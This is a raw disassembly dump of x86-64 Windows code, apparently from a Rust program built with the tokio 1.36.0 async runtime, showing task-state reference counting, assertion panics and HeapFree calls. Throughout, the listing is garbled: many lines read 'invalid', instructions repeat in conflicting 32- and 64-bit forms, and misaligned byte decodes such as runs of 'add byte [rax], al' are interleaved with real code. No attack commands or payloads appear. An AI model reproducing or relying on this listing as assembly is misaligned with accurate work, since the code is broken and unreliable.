add byte [rbx + rcx*4 + 0x34], cl
invalid
invalid
invalid
mov r14, qword [rdx + rax*8]
ret 0x8d49
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
xchg al, dl
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400e4030]
lea edx, [0x1400e4030]
add eax, dword [rax]
mov rbx, rcx
mov rcx, rax
mov ecx, eax
mov ecx, eax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add byte [rax - 0x77], cl
fld dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
or eax, 0x8b486500
adc al, 0x25
pop rax
mov edx, dword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
invalid
mov rax, qword [rdx + rax*8]
ret 0x100f
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
mov qword [rax + 0xf0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
call fcn.140096f90
out 0xfe, eax
dec dword [rbx + 0xd9af80d]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x1400a886a
invalid
xor eax, 0x4b75c985
test ecx, ecx
jne case.0x14009fa62.30
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
cmp al, 0xca
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
lea edx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
add al, byte [rax]
add al, byte [rax]
mov eax, ebx
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
and eax, 0x58
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
jle 0x1400a88a8
test al, al
je 0x1400a8923
mov rcx, rsi
call fcn.1400e6c50
add eax, dword [rax]
add eax, dword [rax]
movzx eax, al
lea rcx, [0x140178974]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
add ecx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec490
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400a89e5
adc dword [rcx], eax
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
cmp eax, 0x40
jne case.0x1400a8746.2
jne case.0x1400a8746.2
mov rcx, rsi
call 0x1400a8ce0
jmp case.0x1400a8746.2
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov rcx, rdi
call fcn.1400a9530
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x78], rax
jmp 0x1400a894a
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400a9530
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x58], 3
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400a9530
mov rcx, rsi
call 0x1400a8da0
movaps xmm6, xmmword [rsp + 0xff0]
add rsp, 0x1008
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
invalid
add byte [rax - 0x73], cl
add eax, 0xa5b8c
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
int3
cmp eax, 3
jne 0x1400a8aae
movups xmm0, xmmword [rdi + 0x38]
movups xmm1, xmmword [rdi + 0x48]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsi]
cmp rax, 2
je 0x1400a8a95
test rax, rax
je 0x1400a8a95
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x1400a8a95
mov rbx, qword [rsi + 0x10]
mov rcx, rdi
pop rsi
adc byte [rax - 0x77], cl
stc
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400a8a95
cmp qword [rbx + 0x10], 0x11
jb 0x1400a8a83
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rdi], cl
sub byte [rsp + 0x20], al
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
invalid
push rax
pop rbx
pop rdi
pop rsi
ret
invalid
lea rax, str.JoinHandle_polled_after_completion
lea eax, [0x14014e5f8]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x20]
call fcn.140108560
cli
invalid
add ah, cl
cli
add eax, 0xcccccc00
int3
test al, 8
je 0x1400a8b6b
test al, 2
jne 0x1400a8b18
mov rdx, rax
and rdx, 0xfffffffffffffff5
lock cmpxchg qword [rcx], rdx
jne 0x1400a8b00
jmp 0x1400a8b38
lea rax, [rcx + 0x20]
mov qword [rsp + 0x28], 4
sub byte [rax + rax], al
add byte [rax], al
sub byte [rax + rax], al
add byte [rax], al
lea rdx, [rsp + 0x28]
mov rsi, rcx
mov rcx, rax
call fcn.1400a9530
mov rcx, rsi
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400a8b83
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400a8b61
add rsp, 0xfc0
pop rsi
jmp 0x1400a8ce0
nop
add rsp, 0xfc0
add byte [rsi - 0x3d], bl
add byte [rsi - 0x3d], bl
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x14014eb30]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
call fcn.140108630
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
loopne 0x1400a8b7a
cmp rax, 0x40
jne case.0x14002a2ab.1778
add rsp, 0x28
jmp 0x1400a8ce0
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
ret
invalid
int3
add byte [rax - 0x75], cl
mov eax, dword [rcx]
nop dword [rax]
add dword [rdi], ecx
invalid
mov rdx, rax
xor r8d, r8d
test dl, 3
add eax, dword [rcx + 0xf]
xchg esp, eax
ror byte [rcx + 9], 0xc0
add eax, dword [rcx + 0xf]
xchg esp, eax
ror byte [rcx + 9], 0xc0
or r8, 0x20
or eax, 0x20
and al, dh
cmpxchg qword [rcx], r8
mov cl, 1
lock cmpxchg qword [rcx], r8
mov cl, 1
jne 0x1400a8c00
test dl, 3
je 0x1400a8c4e
add esi, dword [rsi + rbp + 0x48]
mov eax, 0xffffffc0
invalid
invalid
invalid
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400a8cb8
invalid
invalid
add byte [rax], al
invalid
add dword [rax - 0x7d], ecx
clc
invalid
xchg byte [rdx + 0x48000000], al
and eax, 0xffffffc0
invalid
and rax, 0xffffffffffffffc0
ror byte [rax - 0x7d], 0xf8
jne case.0x1400d8602.331
cmp rax, 0x40
cmp eax, 0x40
jne case.0x1400d8602.331
add rsp, 0xfb8
add byte [rax], al
pop rdi
pop rsi
jmp 0x1400a8ce0
add byte [rax], al
add byte [rax], al
lea rsi, [rcx + 0x20]
mov qword [rsp + 0x20], 4
lea rdx, [rsp + 0x20]
mov rdi, rcx
mov rcx, rsi
call fcn.1400a9530
add byte [rax], al
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x28], 1
and al, 0x28
add dword [rax], eax
add byte [rax], al
and al, 0x28
add dword [rax], eax
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], 3
and al, 0x20
add eax, dword [rax]
add byte [rax], al
and al, 0x20
add eax, dword [rax]
add byte [rax], al
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.1400a9530
or byte [rax], al
add byte [rax - 0x77], cl
stc
or byte [rax], al
add byte [rax - 0x77], cl
stc
mov ecx, edi
add rsp, 0xfb8
mov eax, 0x5f00000f
sldt word [rax]
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
jmp 0x1400a8da0
nop
add rsp, 0xfb8
invalid
sldt word [rax]
add byte [rax], al
mov eax, 0x5f00000f
add byte [rax], al
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
pop r15
or al, byte [rax]
lea r8, [0x14014ec30]
add eax, 0xa5f6a
mov edx, 0x27
call fcn.140108630
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400a8cfd
lea rcx, [rsi + 0x20]
call fcn.140068890
xchg ebx, eax
sti
sti
invalid
xchg ebx, eax
sti
sti
dec dword [rax - 0x75]
xor byte [rax - 0x73], r9b
push rcx
std
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
ror dword [rax - 0x7d], 0xf8
invalid
je case.0x140065698.298
ror dword [rax - 0x7d], 0xf8
add dword [rax + rdx + 0x48], esi
test eax, eax
invalid
test rax, rax
sal byte [rbp + 0x48], 0x48
lea ecx, [rsi + 0x30]
invalid
jne 0x1400a8d66
lea rcx, [rsi + 0x30]
xor al, ch
and rdi, r13
invalid
call fcn.14007b070
jmp 0x1400a8d66
cmp qword [rsi + 0x38], 0
je 0x1400a8d66
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x1400a8d66
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
pop rsi
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400a8d66
cmp qword [rbx + 0x10], 0x11
jb 0x1400a8d54
jnp 0x1400a8d5d
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or eax, 0x49d23100
mov eax, edi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x75], cl
xchg al, bl
sldt word [rax]
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x1400a8d7c
invalid
or cl, byte [rax - 0x75]
mov fs, eax
sldt word [rax]
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
invalid
int3
int3
int3
push rsi
sub rsp, 0xff0
sldt word [rax]
sldt word [rax]
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
xor ecx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400a8db0
invalid
test al, 1
je 0x1400a8e59
invalid
xchg ebx, eax
add byte [rax], al
add byte [rax], al
test byte [rbx - 0x58000000], dl
add cl, byte [rdi]
test dword [rbx - 0x58000000], esp
add byte [rax], al
test al, 2
jne 0x1400a8e71
test al, 8
jne 0x1400a8deb
invalid
or byte [rbp + 0x19], dh
sbb dword [rax - 0x73], ecx
and byte [rax - 0x39], r9b
and byte [rax - 0x39], cl
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x58], 4
add byte [rax], al
and byte [rax - 0x39], cl
and al, 0x58
add al, 0
add byte [rax], al
lea rdx, [rsp + 0x58]
push rsp
and al, 0x58
pop rax
pop rax
call fcn.1400a9530
jmp 0x1400a8e09
test al, 0x10
je 0x1400a8e09
mov rax, qword [rsi + 0xfd8]
xchg al, bl
sldt word [rax]
test rax, rax
je 0x1400a8ef5
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0xfe0]
mov fs, eax
sldt word [rax]
add byte [rax], al
add byte [rax], al
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec330
sbb esi, dword [0xc3528e1b]
clc
add dword [rax + 2], edi
sbb esi, dword [0xc3528e1b]
add byte [rax - 0x7d], cl
clc
add dword [rax + 2], edi
sbb rax, 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
add byte [rax - 0x77], cl
and al, 0x28
mov dword [rsp + 0x28], eax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
invalid
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x1400a8e89
jne 0x1400a8e4f
invalid
add byte [rax], al
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
lea eax, [0x14014ea18]
lea eax, [0x14014ea18]
mov cl, 0x5b
or al, byte [rax]
mov edx, 0x23
call fcn.140108630
invalid
invalid
invalid
invalid
add byte [rax], al
add al, ch
mov edi, 0x480005f7
lea ecx, str.assertion_failed:__prev.is_complete__
invalid
pop rbx
or al, byte [rax]
lea rcx, str.assertion_failed:__prev.is_complete__
mov eax, 0x4c000a5b
lea r8, [0x14014ea58]
lea eax, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x38], eax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:_p
or al, byte [rax]
or al, byte [rax]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
mov qword [rsp + 0x70], 2
lea rdx, [0x14014eaa0]
or al, byte [rax]
or al, byte [rax]
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x68
or byte [rax], al
add byte [rax], al
invalid
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
adc dword [rsp + 0x70], eax
adc dword [rsp + 0x70], eax
and al, 0x70
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x58]
call fcn.140108560
int3
adc byte [rax], al
add al, ch
xchg r10d, eax
xchg edx, eax
xchg edx, eax
add eax, 0xc4294800
movaps xmmword [rsp + 0xff0], xmm6
and al, 0xf0
sldt word [rax]
and al, 0xf0
sldt word [rax]
mov rsi, rcx
mov rax, qword [rcx]
jmp case.default.0x1400a8fb6
invalid
sub byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, eax
and rcx, 0xfffffffffffffff8
mov rcx, rax
mov ecx, eax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
cmpxchg dword [rsi], ecx
invalid
je case.0x140093f12.112
test al, 4
je 0x1400a91e6
invalid
add byte [rax + 0x48da7403], ch
cmp eax, 0x3f
jbe 0x1400a91fe
add byte [rax], al
lea rcx, [rax - 0x40]
cmp rcx, 0x40
cmp ecx, 0x40
cmp ecx, 0x40
setb dl
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
mov cl, 0xe
mov cl, 0xe
jne case.default.0x1400a8fb6
movzx eax, dl
ret 0x8d48
lea rcx, [0x140178984]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
invalid
or al, byte [rax]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
and al, 0x30
lea rax, [rsp + 0x28]
sub byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp dword [rsi + 0x30], 3
jae 0x1400a9216
sub eax, dword [rdx]
add byte [rax], al
lea rcx, [rsi + 0x30]
xor byte [rax - 0x75], r9b
jle 0x1400a901b
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
or eax, 0x8b486500
adc al, 0x25
and eax, 0x58
mov rax, qword [rdx + rax*8]
and eax, 0x58
mov rax, qword [rdx + rax*8]
ret 0xb60f
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400a9050
invalid
xorps xmm6, xmm6
xorps xmm6, xmm6
test eax, eax
jne 0x1400a907c
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
lea eax, [rsi + 0xd0]
cmc
xchg edx, eax
or eax, 0x8b486500
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
invalid
lea eax, [rsi + 0xd0]
add byte [rax], al
lea rdx, [0x1400e4030]
adc eax, 0x3aff6
scasd eax, dword [rdi]
add eax, dword [rax]
mov rbx, rcx
mov ebx, ecx
mov rcx, rax
call fcn.1400d4720
invalid
mov dh, 2
add byte [rax - 0x77], cl
fld dword [rcx - 0x3a]
mov byte [rsi + 0x120], 1
invalid
mov byte [rsi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xd92be05], ecx
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
xor al, 0
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
lea edx, [rsp + 0x38]
call fcn.140096f90
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
dec dword [rbx + 0xd92880d]
add byte [rbp + 0x48], ah
mov rdx, qword [0x58]
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
stc
invalid
je 0x1400a90da
add dword [rax], eax
add byte [rbx + 0x357401f9], al
stc
invalid
je 0x1400a90da
test ecx, ecx
jne 0x1400a90f4
mov ecx, dword [0x140182314]
or eax, 0x8b486500
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
mov r14b, 2
invalid
mov r14b, 2
add byte [rcx + 0x2087c6d8], cl
mov eax, ebx
mov byte [rdi + 0x120], 1
invalid
add al, byte [rax]
mov eax, ebx
mov byte [rdi + 0x120], 1
invalid
add dword [rbx + 0xd92340d], ecx
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x73], cl
jle 0x1400a9118
lea rdi, [rsi + 0x20]
test al, al
je 0x1400a918c
invalid
mov word [rax], es
add byte [rax], al
ror byte [rdi], 0x84
mov word [rax], es
add byte [rax], al
test byte [rax + rax - 0x76b80000], cl
int1
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x140178994]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eaa70
mov rax, 0xffffffffffffffc0
rol al, 0xff
invalid
invalid
push rax
xadd qword [rsi], rax
invalid
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400a924e
adc dword [rcx], eax
add byte [rax], al
adc dword [rcx], eax
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400a8fb6.66
mov rcx, rsi
call 0x1400a9470
jmp case.0x1400a8fb6.66
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov rcx, rdi
call fcn.1400a9530
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x78], rax
jmp 0x1400a91b3
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400a9530
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x60
mov qword [rsp + 0x70], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 3
lea rdx, [rsp + 0x58]
add byte [rax - 0x73], cl
push rsp
and al, 0x58
mov rcx, rdi
call fcn.1400a9530
mov rcx, rsi
call fcn.1400a96d0
movaps xmm6, xmmword [rsp + 0xff0]
add rsp, 0x1008
pop rbx
pop rdi
pop rsi
pop r14
ret
invalid
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
invalid
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400a948d
lea rcx, [rsi + 0x20]
call fcn.140069420
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400a94b9
test rax, rax
jne case.0x14001a3ad.2548
lea rcx, [rsi + 0x30]
call fcn.14007b070
jmp case.0x14001a3ad.2548
cmp qword [rsi + 0x38], 0
je case.0x14001a3ad.2548
mov rdi, qword [rsi + 0x40]
mov edi, dword [rsi + 0x40]
test rdi, rdi
je case.0x14001a3ad.2548
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je case.0x14001a3ad.2548
cmp qword [rbx + 0x10], 0x11
jb 0x1400a94e4
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x1400a950c
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
test byte [rbp - 0x749c8a40], 5
movabs dword [0x25148b4865000d8d], eax
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400a969c
test eax, eax
jne 0x1400a96b6
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
sub esp, 0xff0
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400a96e0
test al, 1
je 0x1400a9789
test al, 2
jne 0x1400a97a1
test al, 8
jne 0x1400a971b
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
call fcn.1400a9530
jmp 0x1400a9739
test al, 0x10
je 0x1400a9739
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x1400a9825
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea6e0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x1400a97b9
jne 0x1400a977f
mov rcx, rsi
add rsp, 0xff0
pop rsi
jmp 0x1400a9470
nop
add rsp, 0xff0
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
push rdx
or al, byte [rax]
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
xor byte [rax - 0x73], cl
and al, 0x30
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
